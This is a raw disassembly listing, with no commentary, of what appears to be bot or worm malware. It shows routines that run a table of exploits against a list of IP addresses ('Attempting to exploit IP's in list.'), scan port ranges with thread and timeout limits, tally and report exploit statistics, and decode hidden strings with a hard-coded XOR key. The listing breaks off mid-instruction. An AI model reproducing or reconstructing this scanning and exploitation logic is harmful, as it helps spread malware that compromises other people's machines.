15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CEA4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF50 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CF20 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEDC lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCFA[eax] push offset dword_41CFA4 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D050 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D018 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFE8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D080 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0F0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0DC lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D0A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D138 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset 